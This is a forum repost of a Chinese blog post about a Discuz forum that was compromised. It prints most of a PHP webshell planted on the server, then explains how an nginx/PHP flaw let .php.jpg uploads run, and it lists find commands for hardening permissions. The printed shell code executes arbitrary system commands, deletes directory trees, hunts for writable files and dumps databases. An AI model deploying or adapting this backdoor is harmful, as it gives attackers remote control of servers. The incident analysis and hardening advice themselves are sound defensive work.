  1507.     $v = trim($v);
  1508.     if($v) {
  1509.         p('<h2>'.$n.' ?</h2>');
  1510.         p('<div class="infolist">');
  1511.         if(strpos($v, "\n") === false)
  1512.             p($v.'<br />');
  1513.         else
  1514.             p('<pre>'.$v.'</pre>');
  1515.         p('</div>');
  1516.     }
  1517. }
  1518. function m($msg) {
  1519.     echo '<div style="margin:10px auto 15px auto;background:#ffffe0;border:1px solid #e6db55;padding:10px;font:14px;text-align:center;font-weight:bold;">';
  1520.     echo $msg;
  1521.     echo '</div>';
  1522. }
  1523. function scookie($key, $value, $life = 0, $prefix = 1) {
  1524.     global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife;
  1525.     $key = ($prefix ? $cookiepre : '').$key;
  1526.     $life = $life ? $life : $cookielife;
  1527.     $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  1528.     setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport);
  1529. }   
  1530. function multi($num, $perpage, $curpage, $tablename) {
  1531.     $multipage = '';
  1532.     if($num > $perpage) {
  1533.         $page = 10;
  1534.         $offset = 5;
  1535.         $pages = @ceil($num / $perpage);
  1536.         if($page > $pages) {
  1537.             $from = 1;
  1538.             $to = $pages;
  1539.         } else {
  1540.             $from = $curpage - $offset;
  1541.             $to = $curpage + $page - $offset - 1;
  1542.             if($from < 1) {
  1543.                 $to = $curpage + 1 - $from;
  1544.                 $from = 1;
  1545.                 if(($to - $from) < $page && ($to - $from) < $pages) {
  1546.                     $to = $page;
  1547.                 }
  1548.             } elseif($to > $pages) {
  1549.                 $from = $curpage - $pages + $to;
  1550.                 $to = $pages;
  1551.                 if(($to - $from) < $page && ($to - $from) < $pages) {
  1552.                     $from = $pages - $page + 1;
  1553.                 }
  1554.             }
  1555.         }
  1556.         $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
  1557.         for($i = $from; $i <= $to; $i++) {
  1558.             $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
  1559.         }
  1560.         $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
  1561.         $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
  1562.     }
  1563.     return $multipage;
  1564. }
  1565. // 登陆入口
  1566. function loginpage() {
  1567. ?>
  1568.     <style type="text/css">
  1569.     input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
  1570.     </style>
  1571.     <form method="POST" action="">
  1572.     <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
  1573.     <input type="hidden" name="action" value="login">
  1574.     <input type="submit" value="Login">
  1575.     </form>
  1576. <?php
  1577.     exit;
  1578. }//end loginpage()

  1579. function execute($cfe) {
  1580.     $res = '';
  1581.     if ($cfe) {
  1582.         if(function_exists('system')) {
  1583.             @ob_start();
  1584.             @system($cfe);
  1585.             $res = @ob_get_contents();
  1586.             @ob_end_clean();
  1587.         } elseif(function_exists('passthru')) {
  1588.             @ob_start();
  1589.             @passthru($cfe);
  1590.             $res = @ob_get_contents();
  1591.             @ob_end_clean();
  1592.         } elseif(function_exists('shell_exec')) {
  1593.             $res = @shell_exec($cfe);
  1594.         } elseif(function_exists('exec')) {
  1595.             @exec($cfe,$res);
  1596.             $res = join("\n",$res);
  1597.         } elseif(@is_resource($f = @popen($cfe,"r"))) {
  1598.             $res = '';
  1599.             while(!@feof($f)) {
  1600.                 $res .= @fread($f,1024);
  1601.             }
  1602.             @pclose($f);
  1603.         }
  1604.     }
  1605.     return $res;
  1606. }
  1607. function which($pr) {
  1608.     $path = execute("which $pr");
  1609.     return ($path ? $path : $pr);
  1610. }

  1611. function cf($fname,$text){
  1612.     if($fp=@fopen($fname,'w')) {
  1613.         @fputs($fp,@base64_decode($text));
  1614.         @fclose($fp);
  1615.     }
  1616. }
  1617. function dirsize($dir) {
  1618.     $dh = @opendir($dir);
  1619.     $size = 0;
  1620.     while($file = @readdir($dh)) {
  1621.         if ($file != '.' && $file != '..') {
  1622.             $path = $dir.'/'.$file;
  1623.             $size += @is_dir($path) ? dirsize($path) : @filesize($path);
  1624.         }
  1625.     }
  1626.     @closedir($dh);
  1627.     return $size;
  1628. }
  1629. // 页面调试信息
  1630. function debuginfo() {
  1631.     global $starttime;
  1632.     $mtime = explode(' ', microtime());
  1633.     $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  1634.     echo 'Processed in '.$totaltime.' second(s)';
  1635. }

  1636. //连接MYSQL数据库
  1637. function mydbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
  1638.     global $charsetdb;
  1639.     @ini_set('mysql.connect_timeout', 5);
  1640.     if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
  1641.         p('<h2>Can not connect to MySQL server</h2>');
  1642.         exit;
  1643.     }
  1644.     if($link && $dbname) {
  1645.         if (!@mysql_select_db($dbname, $link)) {
  1646.             p('<h2>Database selected has error</h2>');
  1647.             exit;
  1648.         }
  1649.     }
  1650.     if($link && mysql_get_server_info() > '4.1') {
  1651.         if($charset && in_array(strtolower($charset), $charsetdb)) {
  1652.             q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
  1653.         }
  1654.     }
  1655.     return $link;
  1656. }

  1657. // 去掉转义字符
  1658. function s_array(&$array) {
  1659.     if (is_array($array)) {
  1660.         foreach ($array as $k => $v) {
  1661.             $array[$k] = s_array($v);
  1662.         }
  1663.     } else if (is_string($array)) {
  1664.         $array = stripslashes($array);
  1665.     }
  1666.     return $array;
  1667. }

  1668. // 清除HTML代码
  1669. function html_clean($content) {
  1670.     $content = htmlspecialchars($content);
  1671.     $content = str_replace("\n", "<br />", $content);
  1672.     $content = str_replace("  ", "  ", $content);
  1673.     $content = str_replace("\t", "    ", $content);
  1674.     return $content;
  1675. }

  1676. // 获取权限
  1677. function getChmod($filepath){
  1678.     return substr(base_convert(@fileperms($filepath),10,8),-4);
  1679. }

  1680. function getPerms($filepath) {
  1681.     $mode = @fileperms($filepath);
  1682.     if (($mode & 0xC000) === 0xC000) {$type = 's';}
  1683.     elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
  1684.     elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
  1685.     elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
  1686.     elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
  1687.     elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
  1688.     elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
  1689.     else {$type = '?';}

  1690.     $owner['read'] = ($mode & 00400) ? 'r' : '-';
  1691.     $owner['write'] = ($mode & 00200) ? 'w' : '-';
  1692.     $owner['execute'] = ($mode & 00100) ? 'x' : '-';
  1693.     $group['read'] = ($mode & 00040) ? 'r' : '-';
  1694.     $group['write'] = ($mode & 00020) ? 'w' : '-';
  1695.     $group['execute'] = ($mode & 00010) ? 'x' : '-';
  1696.     $world['read'] = ($mode & 00004) ? 'r' : '-';
  1697.     $world['write'] = ($mode & 00002) ? 'w' : '-';
  1698.     $world['execute'] = ($mode & 00001) ? 'x' : '-';

  1699.     if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
  1700.     if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
  1701.     if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}

  1702.     return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
  1703. }

  1704. function getUser($filepath)     {
  1705.     if (function_exists('posix_getpwuid')) {
  1706.         $array = @posix_getpwuid(@fileowner($filepath));
  1707.         if ($array && is_array($array)) {
  1708.             return ' / <a href="#" title="User: '.$array['name'].'
  1709. Passwd: '.$array['passwd'].'
  1710. Uid: '.$array['uid'].'
  1711. gid: '.$array['gid'].'
  1712. Gecos: '.$array['gecos'].'
  1713. Dir: '.$array['dir'].'
  1714. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
  1715.         }
  1716.     }
  1717.     return '';
  1718. }

  1719. // 删除目录
  1720. function deltree($deldir) {
  1721.     $mydir=@dir($deldir);   
  1722.     while($file=$mydir->read())     {      
  1723.         if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
  1724.             @chmod($deldir.'/'.$file,0777);
  1725.             deltree($deldir.'/'.$file);
  1726.         }
  1727.         if (is_file($deldir.'/'.$file)) {
  1728.             @chmod($deldir.'/'.$file,0777);
  1729.             @unlink($deldir.'/'.$file);
  1730.         }
  1731.     }
  1732.     $mydir->close();
  1733.     @chmod($deldir,0777);
  1734.     return @rmdir($deldir) ? 1 : 0;
  1735. }

  1736. // 表格行间的背景色替换
  1737. function bg() {
  1738.     global $bgc;
  1739.     return ($bgc++%2==0) ? 'alt1' : 'alt2';
  1740. }

  1741. // 获取当前的文件系统路径
  1742. function getPath($scriptpath, $nowpath) {
  1743.     if ($nowpath == '.') {
  1744.         $nowpath = $scriptpath;
  1745.     }
  1746.     $nowpath = str_replace('\\', '/', $nowpath);
  1747.     $nowpath = str_replace('//', '/', $nowpath);
  1748.     if (substr($nowpath, -1) != '/') {
  1749.         $nowpath = $nowpath.'/';
  1750.     }
  1751.     return $nowpath;
  1752. }

  1753. // 获取当前目录的上级目录
  1754. function getUpPath($nowpath) {
  1755.     $pathdb = explode('/', $nowpath);
  1756.     $num = count($pathdb);
  1757.     if ($num > 2) {
  1758.         unset($pathdb[$num-1],$pathdb[$num-2]);
  1759.     }
  1760.     $uppath = implode('/', $pathdb).'/';
  1761.     $uppath = str_replace('//', '/', $uppath);
  1762.     return $uppath;
  1763. }

  1764. // 检查PHP配置参数
  1765. function getcfg($varname) {
  1766.     $result = get_cfg_var($varname);
  1767.     if ($result == 0) {
  1768.         return 'No';
  1769.     } elseif ($result == 1) {
  1770.         return 'Yes';
  1771.     } else {
  1772.         return $result;
  1773.     }
  1774. }

  1775. // 检查函数情况
  1776. function getfun($funName) {
  1777.     return (false !== function_exists($funName)) ? 'Yes' : 'No';
  1778. }

  1779. // 获得文件扩展名
  1780. function getext($file) {
  1781.     $info = pathinfo($file);
  1782.     return $info['extension'];
  1783. }

  1784. function GetWDirList($dir){
  1785.     global $dirdata,$j,$nowpath;
  1786.     !$j && $j=1;
  1787.     if ($dh = opendir($dir)) {
  1788.         while ($file = readdir($dh)) {
  1789.             $f=str_replace('//','/',$dir.'/'.$file);
  1790.             if($file!='.' && $file!='..' && is_dir($f)){
  1791.                 if (is_writable($f)) {
  1792.                     $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
  1793.                     $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
  1794.                     $dirdata[$j]['dirchmod']=getChmod($f);
  1795.                     $dirdata[$j]['dirperm']=getPerms($f);
  1796.                     $dirdata[$j]['dirlink']=$dir;
  1797.                     $dirdata[$j]['server_link']=$f;
  1798.                     $j++;
  1799.                 }
  1800.                 GetWDirList($f);
  1801.             }
  1802.         }
  1803.         closedir($dh);
  1804.         clearstatcache();
  1805.         return $dirdata;
  1806.     } else {
  1807.         return array();
  1808.     }
  1809. }

  1810. function GetWFileList($dir){
  1811.     global $filedata,$j,$nowpath, $writabledb;
  1812.     !$j && $j=1;
  1813.     if ($dh = opendir($dir)) {
  1814.         while ($file = readdir($dh)) {
  1815.             $ext = getext($file);
  1816.             $f=str_replace('//','/',$dir.'/'.$file);
  1817.             if($file!='.' && $file!='..' && is_dir($f)){
  1818.                 GetWFileList($f);
  1819.             } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){
  1820.                 if (is_writable($f)) {
  1821.                     $filedata[$j]['filename']=str_replace($nowpath,'',$f);
  1822.                     $filedata[$j]['size']=sizecount(@filesize($f));
  1823.                     $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
  1824.                     $filedata[$j]['filechmod']=getChmod($f);
  1825.                     $filedata[$j]['fileperm']=getPerms($f);
  1826.                     $filedata[$j]['fileowner']=getUser($f);
  1827.                     $filedata[$j]['dirlink']=$dir;
  1828.                     $filedata[$j]['server_link']=$f;
  1829.                     $j++;
  1830.                 }
  1831.             }
  1832.         }
  1833.         closedir($dh);
  1834.         clearstatcache();
  1835.         return $filedata;
  1836.     } else {
  1837.         return array();
  1838.     }
  1839. }

  1840. function GetSFileList($dir, $content, $re = 0) {
  1841.     global $filedata,$j,$nowpath, $writabledb;
  1842.     !$j && $j=1;
  1843.     if ($dh = opendir($dir)) {
  1844.         while ($file = readdir($dh)) {
  1845.             $ext = getext($file);
  1846.             $f=str_replace('//','/',$dir.'/'.$file);
  1847.             if($file!='.' && $file!='..' && is_dir($f)){
  1848.                 GetSFileList($f, $content, $re = 0);
  1849.             } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){
  1850.                 $find = 0;
  1851.                 if ($re) {
  1852.                     if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){
  1853.                         $find = 1;
  1854.                     }
  1855.                 } else {
  1856.                     if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) {
  1857.                         $find = 1;
  1858.                     }
  1859.                 }
  1860.                 if ($find) {
  1861.                     $filedata[$j]['filename']=str_replace($nowpath,'',$f);
  1862.                     $filedata[$j]['size']=sizecount(@filesize($f));
  1863.                     $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
  1864.                     $filedata[$j]['filechmod']=getChmod($f);
  1865.                     $filedata[$j]['fileperm']=getPerms($f);
  1866.                     $filedata[$j]['fileowner']=getUser($f);
  1867.                     $filedata[$j]['dirlink']=$dir;
  1868.                     $filedata[$j]['server_link']=$f;
  1869.                     $j++;
  1870.                 }
  1871.             }
  1872.         }
  1873.         closedir($dh);
  1874.         clearstatcache();
  1875.         return $filedata;
  1876.     } else {
  1877.         return array();
  1878.     }
  1879. }

  1880. function qy($sql) {
  1881.     global $mysqllink;
  1882.     //echo $sql.'<br>';
  1883.     $res = $error = '';
  1884.     if(!$res = @mysql_query($sql,$mysqllink)) {
  1885.         return 0;
  1886.     } else if(is_resource($res)) {
  1887.         return 1;
  1888.     } else {
  1889.         return 2;
  1890.     }   
  1891.     return 0;
  1892. }

  1893. function q($sql) {
  1894.     global $mysqllink;
  1895.     return @mysql_query($sql,$mysqllink);
  1896. }

  1897. function fr($qy){
  1898.     mysql_free_result($qy);
  1899. }

  1900. function sizecount($fileSize) {
  1901.     $size = sprintf("%u", $fileSize);
  1902.     if($size == 0) {
  1903.         return '0 Bytes' ;
  1904.     }
  1905.     $sizename = array(' Bytes', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB');
  1906.     return round( $size / pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizename[$i];
  1907. }
  1908. // 备份数据库
  1909. function sqldumptable($table, $fp=0) {
  1910.     global $mysqllink;

  1911.     $tabledump = "DROP TABLE IF EXISTS `$table`;\n";
  1912.     $res = q("SHOW CREATE TABLE $table");
  1913.     $create = mysql_fetch_row($res);
  1914.     $tabledump .= $create[1].";\n\n";

  1915.     if ($fp) {
  1916.         fwrite($fp,$tabledump);
  1917.     } else {
  1918.         echo $tabledump;
  1919.     }
  1920.     $tabledump = '';
  1921.     $rows = q("SELECT * FROM $table");
  1922.     while ($row = mysql_fetch_assoc($rows)) {
  1923.         foreach($row as $k=>$v) {
  1924.             $row[$k] = "'".@mysql_real_escape_string($v)."'";
  1925.         }
  1926.         $tabledump = 'INSERT INTO `'.$table.'` VALUES ('.implode(", ", $row).');'."\n";
  1927.         if ($fp) {
  1928.             fwrite($fp,$tabledump);
  1929.         } else {
  1930.             echo $tabledump;
  1931.         }
  1932.     }
  1933.     fwrite($fp,"\n\n");
  1934.     fr($rows);
  1935. }

  1936. function p($str){
  1937.     echo $str."\n";
  1938. }

  1939. function tbhead() {
  1940.     p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  1941. }
  1942. function tbfoot(){
  1943.     p('</table>');
  1944. }

  1945. function makehide($name,$value=''){
  1946.     p("<input id="$name" type="hidden" name="$name" value="$value" />");
  1947. }

  1948. function makeinput($arg = array()){
  1949.     $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
  1950.     $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
  1951.     !$arg['type'] && $arg['type'] = 'text';
  1952.     $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  1953.     $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
  1954.     if ($arg['newline']) {
  1955.         p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
  1956.     } else {
  1957.         p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
  1958.     }
  1959. }

  1960. function makeselect($arg = array()){
  1961.     if ($arg['onchange']) {
  1962.         $onchange = 'onchange="'.$arg['onchange'].'"';
  1963.     }
  1964.     $arg['title'] = $arg['title'] ? $arg['title'] : '';
  1965.     if ($arg['newline']) p('<p>');
  1966.     p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
  1967.         if (is_array($arg['option'])) {
  1968.             if ($arg['nokey']) {
  1969.                 foreach ($arg['option'] as $value) {
  1970.                     if ($arg['selected']==$value) {
  1971.                         p("<option value="$value" selected>$value</option>");
  1972.                     } else {
  1973.                         p("<option value="$value">$value</option>");
  1974.                     }
  1975.                 }
  1976.             } else {
  1977.                 foreach ($arg['option'] as $key=>$value) {
  1978.                     if ($arg['selected']==$key) {
  1979.                         p("<option value="$key" selected>$value</option>");
  1980.                     } else {
  1981.                         p("<option value="$key">$value</option>");
  1982.                     }
  1983.                 }
  1984.             }
  1985.         }
  1986.     p("</select>");
  1987.     if ($arg['newline']) p('</p>');
  1988. }
  1989. function formhead($arg = array()) {
  1990.     global $self;
  1991.     !$arg['method'] && $arg['method'] = 'post';
  1992.     !$arg['action'] && $arg['action'] = $self;
  1993.     $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
  1994.     !$arg['name'] && $arg['name'] = 'form1';
  1995.     p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
  1996.     if ($arg['title']) {
  1997.         p('<h2>'.$arg['title'].' ?</h2>');
  1998.     }
  1999. }

  2000. function maketext($arg = array()){
  2001.     !$arg['cols'] && $arg['cols'] = 100;
  2002.     !$arg['rows'] && $arg['rows'] = 25;
  2003.     $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  2004.     p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
  2005. }

  2006. function formfooter($name = ''){
  2007.     !$name && $name = 'submit';
  2008.     p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
  2009.     p('</form>');
  2010. }

  2011. function goback(){
  2012.     global $self, $nowpath;
  2013.     p('<form action="'.$self.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$nowpath.'" /><p><input class="bt" type="submit" value="Go back..."></p></form>');
  2014. }

  2015. function formfoot(){
  2016.     p('</form>');
  2017. }

  2018. function encode_pass($pass) {
  2019.     $pass = md5('angel'.$pass);
  2020.     $pass = md5($pass.'angel');
  2021.     $pass = md5('angel'.$pass.'angel');
  2022.     return $pass;
  2023. }

  2024. function pr($s){
  2025.     echo "<pre>".print_r($s).'</pre>';
  2026. }

  2027. ?>
复制代码

上面的脚本被恶意用户完成对系统的远程控制。




问题根源

这次发现的恶意代码注入应该是之前的一次 nginx 和 php 安全漏洞 引起,当时由 WooYun.org 汇报,原来已经被恶意用户种下了这些后门。

这个漏洞简言之就是用户可以上传文件后缀为 .php.jpg 的文件,在外部访问时直接被当做 php 执行,罪魁祸首归结为以下三点:


php 配置
nginx 配置
discuz

允许上传文件名指定后缀为 .php.jpg




加固措施
采用更严格的文件目录权限

列出属主不应该为 nobody 的目录:

  1. find . -type d  | xargs ls -lad | grep nobody | grep -v '/data'
复制代码

除 discuz 要求为可写的目录(路径名包启/data)外,其它所有文件及目录属主都改为非 nobody 用户。

需要注意的是 source/plugin/ 下的所有目录需要为所有用户添加上可执行权限(特别是自已开发并上传解压的插件),否则访问插件时会出现以下错误提示:[/code]
  1. 指定的插件模块文件(XXXXXXXXXX)不存在或存在语法错误,请检查是否已将插件完整上传
复制代码
列出属主不应该为 nobody 的文件:
  1. find . -type f  | xargs ls -la | grep nobody | grep -v '/data'
复制代码
除 discuz 要求为可写的文件(路径名包启/data)外,其它所有文件属主都改为非 nobody 用户。
列出 nobody 可写的文件
  1. find . -type f ! -perm 0644  | xargs ls -la | grep -v '/data/'
复制代码
收回非必要的写权限。

确保上传目录中的 php 文件不会被当做 php 执行
data/attachment
uc_server/data/avatar
uc_server/data/tmp
原文链接

论坛被挂暗链问题分析与解决
http://blog.kankanan.com/posts/2014/04/01_8bba575b88ab6302669794fe95ee9898520667904e0e89e351b3.html





上一篇:[DC]通用支付API v1.0.6(2015.10.09更新)
下一篇:成功力场网总结那些备受老外青睐的国货(一)
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

1314学习网 ( 浙ICP备10214163号 )

GMT+8, 2024-5-4 09:45

Powered by Discuz! X3.4

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表